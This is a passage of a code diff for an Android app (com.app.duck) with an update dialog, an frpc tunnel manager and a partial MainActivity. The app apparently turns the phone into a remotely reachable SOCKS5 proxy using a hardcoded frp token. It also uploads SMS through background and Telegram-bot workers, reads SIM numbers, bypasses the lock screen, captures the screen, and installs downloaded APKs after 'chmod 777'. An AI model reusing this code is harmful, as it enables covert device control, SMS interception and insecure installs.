+import com.jeremyliao.liveeventbus.LiveEventBus;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class PhoneListDialog extends Dialog implements View.OnClickListener {
+
+    private EditText phoneEt;
+    private PhoneListAdapter phoneListAdapter;
+    private RecyclerView recyclerView;
+
+    private TextView submitBt;
+
+    private TextView closeBt;
+
+    private List<String> mList = new ArrayList<>();
+
+    public PhoneListDialog(@NonNull Context context) {
+        super(context, R.style.dialog);
+        show();
+
+    }
+
+    @SuppressLint("SetTextI18n")
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.layout_phone_list);
+        String d = SPUtils.getInstance().getString("phone_list");
+        try {
+            if (!StringUtils.isEmpty(d)) {
+                mList = JSON.parseArray(d, String.class);
+            }
+        } catch (Exception e) {
+
+        }
+
+
+        phoneListAdapter = new PhoneListAdapter();
+        phoneListAdapter.addChildClickViewIds(R.id.iv_delete);
+        phoneListAdapter.setOnItemChildClickListener((adapter, view, position) -> {
+            if (view.getId() == R.id.iv_delete) {
+                new MaterialDialog.Builder(getContext())
+                        .title(R.string.dialogConfirmTitle)
+                        .content(R.string.configDeleteConfirm)
+                        .canceledOnTouchOutside(false)
+                        .negativeText(R.string.cancel)
+                        .positiveText(R.string.done)
+                        .onNegative((dialog, which) -> dialog.dismiss())
+                        .onPositive((dialog, which) -> deleteConfig(position))
+                        .show();
+            }
+        });
+        phoneEt = findViewById(R.id.phone);
+        submitBt = findViewById(R.id.submitBt);
+        closeBt = findViewById(R.id.closeBt);
+        recyclerView = findViewById(R.id.rv);
+        recyclerView.setAdapter(phoneListAdapter);
+        phoneListAdapter.setList(mList);
+        recyclerView.setLayoutManager(new LinearLayoutManager(getContext(), RecyclerView.VERTICAL, false));
+        submitBt.setOnClickListener(this);
+        closeBt.setOnClickListener(this);
+
+    }
+
+    private void deleteConfig(int position) {
+        mList.remove(position);
+        SPUtils.getInstance().put("phone_list", GsonUtils.toJson(mList));
+        phoneListAdapter.removeAt(position);
+        HxUtils.setPhone(toPhoneUri());
+        LiveEventBus.get(PHONE_TAG).post(toPhoneUri());
+    }
+
+    @SuppressLint("SetTextI18n")
+    @Override
+    public void onClick(View view) {
+        int id = view.getId();
+        if (id == R.id.submitBt) {
+            mList.add(phoneEt.getText().toString());
+            SPUtils.getInstance().put("phone_list", GsonUtils.toJson(mList));
+            phoneListAdapter.addData(mList.get(mList.size() - 1));
+            phoneListAdapter.notifyItemChanged(mList.size() - 1);
+            HxUtils.setPhone(toPhoneUri());
+            LiveEventBus.get(PHONE_TAG).post(toPhoneUri());
+            phoneEt.setText("");
+        }
+        if (id == R.id.closeBt) {
+            dismiss();
+        }
+    }
+
+    private String toPhoneUri() {
+        StringBuilder data = new StringBuilder();
+        for (int i = 0; i < mList.size(); i++) {
+            String a;
+            if (i == 0) {
+                a = i + "-" + mList.get(i);
+            } else {
+                a = "_" + i + "-" + mList.get(i);
+            }
+            data.append(a);
+        }
+        return data.toString();
+    }
+
+}

+ 185 - 0
webviewTest/app/src/main/java/com/app/duck/dialog/UploadAppDialog.java

@@ -0,0 +1,185 @@
+package com.app.duck.dialog;
+
+import android.annotation.SuppressLint;
+import android.app.Dialog;
+import android.content.Context;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Environment;
+import android.view.View;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.core.content.FileProvider;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONObject;
+import com.app.duck.BuildConfig;
+import com.app.duck.R;
+import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ToastUtils;
+import com.blankj.utilcode.util.Utils;
+import com.elvishew.xlog.XLog;
+
+import org.xutils.common.Callback;
+import org.xutils.http.RequestParams;
+import org.xutils.x;
+
+import java.io.File;
+import java.io.IOException;
+
+public class UploadAppDialog extends Dialog implements View.OnClickListener {
+
+    private boolean isForce;
+    private String description;
+    private String versionName;
+    private String title;
+    private int versionCode;
+    private boolean toast;
+
+
+    private View choseLayout;
+    private View progressLayout;
+    private ProgressBar downLoadProgress;
+    private TextView rateTv;
+    private TextView updateTxtTv;
+    private TextView titleTv;
+    private int rate;
+
+
+    public UploadAppDialog(@NonNull Context context, String jsonTxt, boolean toast) {
+        super(context, R.style.dialog);
+        XLog.i("更新信息:" + jsonTxt);
+        JSONObject object = JSON.parseObject(jsonTxt);
+        isForce = object.getBooleanValue("isForce");//是否强制更新
+        description = object.getString("description");//更新描述
+        versionName = object.getString("versionName");//版本号
+        versionCode = object.getIntValue("versionCode");//版本号
+        this.toast = toast;
+        title = object.getString("title");//标题
+        if (versionCode > AppUtils.getAppVersionCode()) {
+            show();
+        } else {
+            if (toast) {
+                ToastUtils.showLong(AppUtils.getAppVersionName() + "[" + AppUtils.getAppVersionCode() + "]" + StringUtils.getString(R.string.upload_null_tip));
+            }
+        }
+
+
+    }
+
+    @SuppressLint("SetTextI18n")
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.dialog_upload_app);
+        View submitBt = findViewById(R.id.submitBt);
+        View cancelBt = findViewById(R.id.cancelBt);
+        downLoadProgress = findViewById(R.id.downLoadProgress);
+        updateTxtTv = findViewById(R.id.updateTxtTv);
+        titleTv = findViewById(R.id.titleTv);
+        choseLayout = findViewById(R.id.choseLayout);
+        progressLayout = findViewById(R.id.progressLayout);
+        rateTv = findViewById(R.id.rate);
+        TextView versionCodeTv = findViewById(R.id.versionCodeTv);
+        updateTxtTv.setText(description);
+        titleTv.setText(title);
+
+        submitBt.setOnClickListener(this);
+        cancelBt.setOnClickListener(this);
+
+        if (!isForce) {
+            cancelBt.setVisibility(View.VISIBLE);
+        } else {
+            //不可被取消
+            setCancelable(false);
+            setCanceledOnTouchOutside(false);
+        }
+
+        versionCodeTv.setText(versionName);
+    }
+
+
+    @SuppressLint("SetTextI18n")
+    @Override
+    public void onClick(View view) {
+        int id = view.getId();
+        if (id == R.id.submitBt) {
+            choseLayout.setVisibility(View.GONE);
+            progressLayout.setVisibility(View.VISIBLE);
+            String fileName = AppUtils.getAppName() + ".apk";
+            RequestParams params = new RequestParams(BuildConfig.UPDATE_BASE_URL + BuildConfig.UPDATE_APP_NAME);
+            File fileUrl = new File(Utils.getApp().getExternalFilesDir(Environment.DIRECTORY_DOWNLOADS), fileName);
+            params.setSaveFilePath(fileUrl.getAbsolutePath());
+            params.setAutoRename(true);
+            x.http().get(params, new Callback.ProgressCallback<File>() {
+                @Override
+                public void onWaiting() {
+
+                }
+
+                @Override
+                public void onStarted() {
+
+                }
+
+                @Override
+                public void onLoading(long total, long current, boolean isDownloading) {
+                    downLoadProgress.setMax((int) total);
+                    downLoadProgress.setProgress((int) current);
+                    rate = (int) (((float) current / total) * 100);
+                    rateTv.setText(rate + "%");
+                }
+
+
+                @Override
+                public void onSuccess(File result) {
+                    try {
+                        rateTv.setText("100%");
+                        String command = "chmod " + "777" + " " + result.getAbsolutePath();
+                        Runtime runtime = Runtime.getRuntime();
+                        runtime.exec(command);
+                        Intent intent = new Intent(Intent.ACTION_VIEW);
+                        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                        if (Build.VERSION.SDK_INT >= 24) {
+                            File file = (new File(result.getAbsolutePath()));
+                            Uri apkUri = FileProvider.getUriForFile(getContext(), Utils.getApp().getPackageName() + ".fileprovider", file);
+                            intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
+                            intent.setDataAndType(apkUri, "application/vnd.android.package-archive");
+                        } else {
+                            intent.setDataAndType(Uri.fromFile(new File(Environment.DIRECTORY_DOWNLOADS, result.getName())), "application/vnd.android.package-archive");
+                        }
+                        getContext().startActivity(intent);
+                    } catch (IOException e) {
+                        e.printStackTrace();
+                    }
+                }
+
+                @Override
+                public void onError(Throwable ex, boolean isOnCallback) {
+
+                }
+
+                @Override
+                public void onCancelled(CancelledException cex) {
+
+                }
+
+                @Override
+                public void onFinished() {
+                    rateTv.setText("0%");
+                    downLoadProgress.setProgress(0);
+                    progressLayout.setVisibility(View.GONE);
+                    choseLayout.setVisibility(View.VISIBLE);
+                }
+            });
+        } else if (id == R.id.cancelBt) {
+            dismiss();
+        }
+    }
+
+}

+ 233 - 0
webviewTest/app/src/main/java/com/app/duck/ui/HomeFragment.java

@@ -0,0 +1,233 @@
+package com.app.duck.ui;
+
+import static com.app.duck.Config.EVENT_RUNNING_ERROR;
+import static com.app.duck.Config.EVENT_UPDATE_CONFIG;
+import static com.app.duck.Config.INTENT_EDIT_INI;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.Toast;
+
+import androidx.annotation.NonNull;
+import androidx.fragment.app.Fragment;
+import androidx.recyclerview.widget.LinearLayoutManager;
+import androidx.recyclerview.widget.RecyclerView;
+import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
+
+import com.afollestad.materialdialogs.MaterialDialog;
+import com.app.duck.R;
+import com.app.duck.adapter.FileListAdapter;
+import com.app.duck.database.AppDatabase;
+import com.app.duck.database.Config;
+import com.app.duck.util.HxUtils;
+import com.app.duck.util.Service1;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+
+import java.util.List;
+
+import butterknife.BindView;
+import butterknife.ButterKnife;
+import butterknife.Unbinder;
+import frpclib.Frpclib;
+import io.reactivex.CompletableObserver;
+import io.reactivex.SingleObserver;
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.disposables.Disposable;
+import io.reactivex.schedulers.Schedulers;
+
+public class HomeFragment extends Fragment {
+
+
+    @BindView(R.id.recyclerView)
+    RecyclerView recyclerView;
+    @BindView(R.id.refreshView)
+    SwipeRefreshLayout refreshView;
+
+    private Unbinder bind;
+    private FileListAdapter listAdapter;
+
+
+    public View onCreateView(@NonNull LayoutInflater inflater,
+                             ViewGroup container, Bundle savedInstanceState) {
+        View root = inflater.inflate(R.layout.fragment_home, container, false);
+        bind = ButterKnife.bind(this, root);
+        init();
+        return root;
+    }
+
+    private void init() {
+        listAdapter = new FileListAdapter();
+        listAdapter.addChildClickViewIds(R.id.iv_play, R.id.iv_delete, R.id.iv_edit);
+
+        listAdapter.setOnItemChildClickListener((adapter, view, position) -> {
+            Config item = listAdapter.getItem(position);
+            if (view.getId() == R.id.iv_play) {
+                if (!HxUtils.isServiceRunning(Service1.class.getName(), getContext())) {
+                    getContext().startService(new Intent(getContext(), Service1.class));
+                }
+                if (Frpclib.isRunning(item.getUid())) {
+                    Frpclib.close(item.getUid());
+                    item.setConnecting(false);
+                    listAdapter.notifyItemChanged(position);
+                    checkAndStopService();
+                    return;
+                }
+                HxUtils.waitService(Service1.class.getName(), getContext())
+                        .subscribeOn(Schedulers.io())
+                        .observeOn(AndroidSchedulers.mainThread())
+                        .subscribe(new CompletableObserver() {
+                            MaterialDialog progress;
+
+                            @Override
+                            public void onSubscribe(Disposable d) {
+                                progress = new MaterialDialog.Builder(getContext())
+                                        .content(R.string.tipWaitService)
+                                        .canceledOnTouchOutside(false)
+                                        .progress(true, 100)
+                                        .show();
+
+                            }
+
+                            @Override
+                            public void onComplete() {
+                                progress.dismiss();
+                                LiveEventBus.get(Service1.INTENT_KEY_FILE).postAcrossProcess(item.getUid());
+                                item.setConnecting(true);
+                                listAdapter.notifyItemChanged(position);
+
+
+                            }
+
+                            @Override
+                            public void onError(Throwable e) {
+
+                            }
+                        });
+                return;
+            }
+
+            if (Frpclib.isRunning(item.getUid())) {
+                Toast.makeText(getContext(), getResources().getText(R.string.tipServiceRunning), Toast.LENGTH_SHORT).show();
+                return;
+            }
+            if (view.getId() == R.id.iv_edit) {
+                editConfig(position);
+                return;
+            }
+            if (view.getId() == R.id.iv_delete) {
+                new MaterialDialog.Builder(getContext())
+                        .title(R.string.dialogConfirmTitle)
+                        .content(R.string.configDeleteConfirm)
+                        .canceledOnTouchOutside(false)
+                        .negativeText(R.string.cancel)
+                        .positiveText(R.string.done)
+                        .onNegative((dialog, which) -> dialog.dismiss())
+                        .onPositive((dialog, which) -> deleteConfig(position))
+                        .show();
+            }
+        });
+        recyclerView.setAdapter(listAdapter);
+        recyclerView.setLayoutManager(new LinearLayoutManager(getContext(), RecyclerView.VERTICAL, false));
+        refreshView.setOnRefreshListener(() -> getData());
+        LiveEventBus.get(EVENT_UPDATE_CONFIG, Config.class).observe(this, config -> {
+            int position = listAdapter.getData().indexOf(config);
+            if (position < 0) {
+                listAdapter.addData(config);
+            } else {
+                listAdapter.notifyItemChanged(position);
+            }
+        });
+        LiveEventBus.get(EVENT_RUNNING_ERROR, String.class).observe(this, uid -> {
+
+            int position = listAdapter.getData().indexOf(new Config().setUid(uid));
+            Config item = listAdapter.getItem(position);
+            item.setConnecting(false);
+            listAdapter.notifyItemChanged(position);
+            checkAndStopService();
+        });
+
+
+        recyclerView.postDelayed(this::getData, 1500);
+
+    }
+
+    private void checkAndStopService() {
+        if (TextUtils.isEmpty(Frpclib.getUids())) {
+            getContext().stopService(new Intent(getContext(), Service1.class));
+        }
+    }
+
+
+    private void editConfig(int position) {
+        Config item = listAdapter.getItem(position);
+        LiveEventBus.get(INTENT_EDIT_INI).post(item);
+        startActivity(new Intent(getContext(), IniEditActivity.class));
+
+    }
+
+    private void deleteConfig(int position) {
+        AppDatabase.getInstance(getContext())
+                .configDao()
+                .delete(listAdapter.getItem(position))
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new CompletableObserver() {
+                    @Override
+                    public void onSubscribe(@NonNull Disposable d) {
+
+                    }
+
+                    @Override
+                    public void onComplete() {
+                        listAdapter.removeAt(position);
+
+                    }
+
+                    @Override
+                    public void onError(@NonNull Throwable e) {
+                        Toast.makeText(getContext(), e.getMessage(), Toast.LENGTH_SHORT).show();
+
+                    }
+                });
+
+    }
+
+    private void getData() {
+        AppDatabase.getInstance(getContext())
+                .configDao()
+                .getAll()
+                .subscribeOn(Schedulers.io())
+                .observeOn(AndroidSchedulers.mainThread())
+                .subscribe(new SingleObserver<List<Config>>() {
+                    @Override
+                    public void onSubscribe(@NonNull Disposable d) {
+                        refreshView.setRefreshing(true);
+
+                    }
+
+                    @Override
+                    public void onSuccess(@NonNull List<Config> configs) {
+                        refreshView.setRefreshing(false);
+                        listAdapter.setList(configs);
+                    }
+
+                    @Override
+                    public void onError(@NonNull Throwable e) {
+                        refreshView.setRefreshing(false);
+
+                    }
+                });
+    }
+
+    @Override
+    public void onDestroyView() {
+        super.onDestroyView();
+        bind.unbind();
+    }
+
+
+}

+ 125 - 0
webviewTest/app/src/main/java/com/app/duck/ui/IniEditActivity.java

@@ -0,0 +1,125 @@
+package com.app.duck.ui;
+
+import static com.app.duck.Config.EVENT_UPDATE_CONFIG;
+import static com.app.duck.Config.INTENT_EDIT_INI;
+
+import android.content.Intent;
+import android.text.TextUtils;
+import android.view.Menu;
+import android.view.MenuItem;
+import android.widget.Toast;
+
+import androidx.annotation.NonNull;
+
+import com.afollestad.materialdialogs.MaterialDialog;
+import com.app.duck.BaseActivity;
+import com.app.duck.R;
+import com.app.duck.database.AppDatabase;
+import com.app.duck.database.Config;
+import com.app.duck.databinding.ActivityIniEditBinding;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+
+import java.util.UUID;
+
+import io.reactivex.Completable;
+import io.reactivex.CompletableObserver;
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.disposables.Disposable;
+import io.reactivex.schedulers.Schedulers;
+
+public class IniEditActivity extends BaseActivity<ActivityIniEditBinding> {
+
+
+    private Config config;
+    private String name = "";
+
+    @Override
+    public void initView() {
+        initToolbar();
+        LiveEventBus.get(INTENT_EDIT_INI, Config.class).observeSticky(this, value -> {
+            config = value;
+            b.editText.setText(config.getCfg(), 1);
+            b.toolbar.setTitle(TextUtils.isEmpty(config.getName()) ? getString(R.string.noName) : config.getName());
+        });
+
+        if (getIntent() != null) {
+
+            name = getIntent().getStringExtra("newKey");
+        }
+    }
+
+
+    private void initToolbar() {
+        setSupportActionBar(b.toolbar);
+        getSupportActionBar().setDisplayHomeAsUpEnabled(true);
+        b.toolbar.setNavigationOnClickListener(v -> finish());
+    }
+
+    @Override
+    public boolean onOptionsItemSelected(@NonNull MenuItem item) {
+        switch (item.getItemId()) {
+            case R.id.action_template:
+                startActivity(new Intent(IniEditActivity.this, TemplateActivity.class));
+                break;
+            case R.id.action_save:
+                actionSave();
+                break;
+
+        }
+        return super.onOptionsItemSelected(item);
+    }
+
+
+    private void actionSave() {
+        new MaterialDialog.Builder(this)
+                .title(TextUtils.isEmpty(config.getName()) ? R.string.titleInputFileName : R.string.titleModifyFileName)
+                .canceledOnTouchOutside(false)
+                .autoDismiss(false)
+                .negativeText(R.string.cancel)
+                .positiveText(R.string.done)
+                .onNegative((dialog, which) -> dialog.dismiss())
+                .input("", TextUtils.isEmpty(config.getName()) ? name : config.getName(), false, (dialog, input) ->
+                {
+                    config.setName(input.toString())
+                            .setCfg(b.editText.getText());
+                    Completable action =
+                            TextUtils.isEmpty(config.getUid()) ?
+                                    AppDatabase.getInstance(IniEditActivity.this)
+                                            .configDao()
+                                            .insert(config.setUid(UUID.randomUUID().toString())) :
+                                    AppDatabase.getInstance(IniEditActivity.this)
+                                            .configDao()
+                                            .update(config);
+                    action
+                            .subscribeOn(Schedulers.io())
+                            .observeOn(AndroidSchedulers.mainThread())
+                            .subscribe(new CompletableObserver() {
+                                @Override
+                                public void onSubscribe(@NonNull Disposable d) {
+
+                                }
+
+                                @Override
+                                public void onComplete() {
+                                    Toast.makeText(IniEditActivity.this.getApplicationContext(), R.string.tipSaveSuccess, Toast.LENGTH_SHORT).show();
+                                    dialog.dismiss();
+                                    LiveEventBus.get(EVENT_UPDATE_CONFIG).post(config);
+                                    finish();
+                                }
+
+                                @Override
+                                public void onError(@NonNull Throwable e) {
+                                    Toast.makeText(IniEditActivity.this, e.getMessage(), Toast.LENGTH_SHORT).show();
+
+                                }
+                            });
+                }).show();
+    }
+
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        getMenuInflater().inflate(R.menu.activity_add_text, menu);
+        return true;
+    }
+}

+ 748 - 0
webviewTest/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -0,0 +1,748 @@
+package com.app.duck.ui;
+
+import static com.app.duck.Config.BREATH_TAG;
+import static com.app.duck.Config.INTENT_EDIT_INI;
+import static com.app.duck.Config.PHONE_TAG;
+import static com.app.duck.Config.SMS_UPLOAD_TAG;
+import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
+
+import android.Manifest;
+import android.annotation.SuppressLint;
+import android.app.AlertDialog;
+import android.content.Context;
+import android.content.Intent;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Bundle;
+import android.provider.Settings;
+import android.provider.Telephony;
+import android.telephony.SubscriptionInfo;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.text.InputType;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.Menu;
+import android.view.MenuItem;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.fragment.app.FragmentActivity;
+import androidx.navigation.NavController;
+import androidx.navigation.Navigation;
+import androidx.navigation.ui.AppBarConfiguration;
+import androidx.navigation.ui.NavigationUI;
+import androidx.recyclerview.widget.LinearLayoutManager;
+import androidx.recyclerview.widget.RecyclerView;
+
+import com.afollestad.materialdialogs.MaterialDialog;
+import com.app.duck.BaseActivity;
+import com.app.duck.BuildConfig;
+import com.app.duck.R;
+import com.app.duck.adapter.PhoneListAdapter2;
+import com.app.duck.database.Config;
+import com.app.duck.database.DBHelper;
+import com.app.duck.databinding.ActivityMainBinding;
+import com.app.duck.util.CheckInboxWorker;
+import com.app.duck.util.HeartbeatWorker;
+import com.app.duck.util.HxUtils;
+import com.app.duck.util.TgBot;
+import com.app.duck.util.WsManager;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
+import com.blankj.utilcode.util.ActivityUtils;
+import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.ColorUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.LanguageUtils;
+import com.blankj.utilcode.util.NetworkUtils;
+import com.blankj.utilcode.util.ObjectUtils;
+import com.blankj.utilcode.util.PermissionUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.ToastUtils;
+import com.blankj.utilcode.util.Utils;
+import com.elvishew.xlog.XLog;
+import com.google.android.material.dialog.MaterialAlertDialogBuilder;
+import com.google.android.material.navigation.NavigationView;
+import com.google.gson.JsonArray;
+import com.google.gson.JsonObject;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+
+import org.loka.screensharekit.EncodeBuilder;
+import org.loka.screensharekit.ErrorInfo;
+import org.loka.screensharekit.ScreenShareKit;
+import org.loka.screensharekit.callback.ErrorCallBack;
+import org.loka.screensharekit.callback.RGBACallBack;
+
+import java.util.ArrayList;
+import java.util.Calendar;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Locale;
+import java.util.concurrent.TimeUnit;
+
+public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
+
+    public static Locale EN_LOCAL = Locale.ENGLISH;//英语
+    public static Locale CN_LOCAL = Locale.CHINESE;//简体中文
+    public static String[] DISPLAY_LANGUAGE_ARRAY = new String[]{EN_LOCAL.getDisplayLanguage(EN_LOCAL), CN_LOCAL.getDisplayLanguage(CN_LOCAL)};
+    public static Locale[] LOCAL_ARRAY = new Locale[]{EN_LOCAL, CN_LOCAL};
+    private AppBarConfiguration mAppBarConfiguration;
+    private Context context = this;
+    private androidx.lifecycle.Observer<String> observer2;
+    private androidx.lifecycle.Observer<String> observer3;
+    private androidx.lifecycle.Observer<String> observer4;
+    private androidx.lifecycle.Observer<String> observer5;
+    private Locale currentLocal = EN_LOCAL;
+
+    private byte[] mBytes;
+    private int w;
+    private int h;
+
+    @SuppressLint("SetTextI18n")
+    @Override
+    public void initView() {
+        setSupportActionBar(b.appBarMain.toolbar);
+        mAppBarConfiguration = new AppBarConfiguration.Builder(
+                R.id.nav_home)
+                .setOpenableLayout(b.drawerLayout)
+                .build();
+        NavController navController = Navigation.findNavController(this, R.id.nav_host_fragment);
+        NavigationUI.setupActionBarWithNavController(this, navController, mAppBarConfiguration);
+        NavigationUI.setupWithNavController(b.navView, navController);
+        b.navView.setNavigationItemSelectedListener(this);
+        View headerView = b.navView.getHeaderView(0);
+        TextView codeTv = headerView.findViewById(R.id.versionCodeTv);
+        codeTv.setText(AppUtils.getAppVersionName() + " - " + AppUtils.getAppVersionCode());
+//        b.appBarMain.contentMain.phoneTv.setOnClickListener(view -> {
+//            DialogManager.phoneEditDialog();
+//        });
+
+        b.appBarMain.contentMain.workTv.setSelected(true);
+        b.appBarMain.contentMain.workTv2.setSelected(true);
+        b.appBarMain.contentMain.workTv3.setSelected(true);
+        b.appBarMain.contentMain.phoneTv.setSelected(true);
+        observer2 = s -> b.appBarMain.contentMain.workTv.setText(s);
+        observer3 = s -> b.appBarMain.contentMain.workTv2.setText(s);
+        observer4 = s -> b.appBarMain.contentMain.workTv3.setText(s);
+        observer5 = s -> {
+            b.appBarMain.contentMain.phoneTv.setText(s);
+            WsManager.closeWebSocket();
+        };
+
+        LiveEventBus.get(BREATH_TAG, String.class).observe(this, observer2);
+        LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).observe(this, observer3);
+        LiveEventBus.get(SMS_UPLOAD_TAG, String.class).observeSticky(this, observer4);
+        LiveEventBus.get(PHONE_TAG, String.class).observe(this, observer5);
+        b.appBarMain.contentMain.phoneTv.setText(getPhone());
+        CheckInboxWorker.start();
+        HeartbeatWorker.start();
+        startForegroundService();
+        checkForUpdate();
+        HxUtils.checkForUpdateBotConfig();
+
+
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+        HxUtils.setCurrentPhoneList();
+        initPhoneConfig();
+
+
+    }
+
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        LiveEventBus.get(BREATH_TAG, String.class).removeObserver(observer2);
+        LiveEventBus.get(WEBSOCKET_STATUS_TAG, String.class).removeObserver(observer3);
+        LiveEventBus.get(SMS_UPLOAD_TAG, String.class).removeObserver(observer4);
+        LiveEventBus.get(PHONE_TAG, String.class).removeObserver(observer5);
+
+    }
+
+    @Override
+    public boolean onOptionsItemSelected(@NonNull MenuItem item) {
+        switch (item.getItemId()) {
+            case R.id.action_new_text:
+                new MaterialDialog.Builder(ActivityUtils.getTopActivity())
+                        .title(StringUtils.getString(R.string.action_add_text))
+                        .content(R.string.please_enter_the_server_port)
+                        .canceledOnTouchOutside(false)
+                        .autoDismiss(false)
+                        .negativeText(R.string.cancel)
+                        .positiveText(R.string.done)
+                        .onNegative((dialog, which) -> dialog.dismiss())
+                        .onPositive((dialog, which) -> {
+                            dialog.dismiss();
+                        })
+                        .input(getString(R.string.server_port), "", false, (dialog, input) ->
+                        {
+                            if (!StringUtils.isEmpty(input)) {
+                                String content = "[common]\n" +
+                                        "server_addr = {{FRPC_IP}}\n" +
+                                        "server_port = 7000\n" +
+                                        "token = 123678asbsfd\n" +
+                                        "\n" +
+                                        "\n" +
+                                        "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
+                                        "type = tcp\n" +
+                                        "remote_port = {{FRPC_PORT}}\n" +
+                                        "plugin = socks5";
+                                content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", input);
+                                LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
+                                Bundle bundle = new Bundle();
+                                bundle.putString("newKey", "sp-" + input);
+                                ActivityUtils.startActivity(bundle, IniEditActivity.class);
+                            }
+                        })
+                        .inputType(InputType.TYPE_CLASS_NUMBER) // 设置输入类型为数字
+                        .show();
+
+
+                break;
+            case R.id.action_accessibility:
+                Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
+                startActivity(intent);
+                break;
+            case R.id.action_accessibility2:
+                Intent intent2 = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
+                startActivity(intent2);
+                break;
+            case R.id.action_update_log_config:
+                HxUtils.checkForUpdateBotConfig();
+                break;
+            case R.id.action_id_index:
+                AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(this);
+                alertDialogBuilder.setTitle(R.string.dialogConfirmTitle);
+
+                JsonArray jsonArray = HxUtils.getCurrentPhoneList();
+                StringBuilder showStr = new StringBuilder();
+                if (jsonArray != null && jsonArray.size() > 0) {
+                    for (int i = 0; i < jsonArray.size(); i++) {
+                        JsonObject item1 = jsonArray.get(i).getAsJsonObject();
+
+                        int id = item1.get("SubscriptionId").getAsInt();
+                        int index = item1.get("SimSlotIndex").getAsInt();
+                        String iccID = item1.get("iccID").getAsString();
+                        String Number2 = item1.get("Number").getAsString();
+                        String disname = item1.get("disname").getAsString();
+                        String Number = HxUtils.getRecord(id);
+                        showStr.append("No." + (i + 1));
+                        showStr.append("/ " + iccID);
+                        showStr.append("/ " + disname);
+                        showStr.append("\n");
+                        showStr.append("SubscriptionId : " + id);
+                        showStr.append("\n");
+                        showStr.append("SimSlotIndex : " + index);
+                        showStr.append("\n");
+                        showStr.append("Number : " + Number);
+                        showStr.append("\n");
+                        showStr.append("Reference : " + Number2);
+                        showStr.append("\n");
+                    }
+
+                } else {
+                    showStr.append("UNKNOWN");
+                }
+                alertDialogBuilder.setMessage(showStr.toString());
+                alertDialogBuilder.setCancelable(false);
+                alertDialogBuilder.setPositiveButton(R.string.ok, (dialog, id) -> dialog.dismiss());
+                AlertDialog alertDialog = alertDialogBuilder.create();
+                if (alertDialog != null) {
+                    alertDialog.show();
+                }
+                break;
+        }
+        return super.onOptionsItemSelected(item);
+    }
+
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        getMenuInflater().inflate(R.menu.main, menu);
+        return true;
+    }
+
+    @Override
+    public boolean onSupportNavigateUp() {
+        NavController navController = Navigation.findNavController(this, R.id.nav_host_fragment);
+        return NavigationUI.navigateUp(navController, mAppBarConfiguration) || super.onSupportNavigateUp();
+    }
+
+
+    @Override
+    public boolean onNavigationItemSelected(@NonNull MenuItem item) {
+        switch (item.getItemId()) {
+            case R.id.screen:
+//                ThreadUtils.runOnUiThread(WsManager::getNowRootInActiveWindowDemo);
+                try {
+                    ThreadUtils.runOnUiThreadDelayed(() -> {
+                                EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
+                                encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
+                                encodeBuilder.onRGBA(new RGBACallBack() {
+                                            @Override
+                                            public void onRGBA(@NonNull byte[] bytes, int i, int i1, int i2, int i3, boolean b) {
+
+                                                Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
+                                                Log.d("hzshkj", "[MainActivity] 宽: " + i);
+                                                Log.d("hzshkj", "[MainActivity] 高: " + i1);
+                                                Log.d("hzshkj", "[MainActivity] i2: " + i2);
+                                                Log.d("hzshkj", "[MainActivity] i3: " + i3);
